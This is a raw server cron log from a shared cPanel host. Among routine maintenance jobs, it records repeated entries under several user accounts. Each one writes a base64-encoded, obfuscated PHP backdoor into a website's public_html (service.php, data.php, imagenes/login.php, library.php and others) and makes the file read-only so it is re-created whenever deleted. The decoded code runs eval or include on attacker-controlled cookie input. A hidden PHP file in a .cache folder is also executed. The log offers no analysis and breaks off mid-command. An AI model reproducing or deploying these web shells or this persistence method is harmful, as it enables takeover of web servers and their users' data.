Jun  7 12:31:02 medusa CROND[32238]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:31:02 medusa CROND[32240]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 12:31:02 medusa CROND[32242]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:31:02 medusa CROND[32244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:31:02 medusa CROND[32251]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:32:02 medusa CROND[1780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:32:02 medusa CROND[1788]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:32:02 medusa CROND[1789]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:32:02 medusa CROND[1791]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:32:02 medusa CROND[1790]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:32:02 medusa CROND[1792]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:32:02 medusa CROND[1793]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:32:02 medusa CROND[1794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:32:02 medusa CROND[1795]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:32:02 medusa CROND[1796]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:32:02 medusa CROND[1798]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 12:32:02 medusa CROND[1805]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:32:02 medusa CROND[1809]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:33:01 medusa CROND[3366]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 12:33:02 medusa CROND[3371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:33:02 medusa CROND[3372]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:33:02 medusa CROND[3373]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:33:02 medusa CROND[3374]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:33:02 medusa CROND[3376]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:33:02 medusa CROND[3377]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:33:02 medusa CROND[3379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:33:02 medusa CROND[3380]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:33:02 medusa CROND[3381]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:33:02 medusa CROND[3382]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:33:02 medusa CROND[3383]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 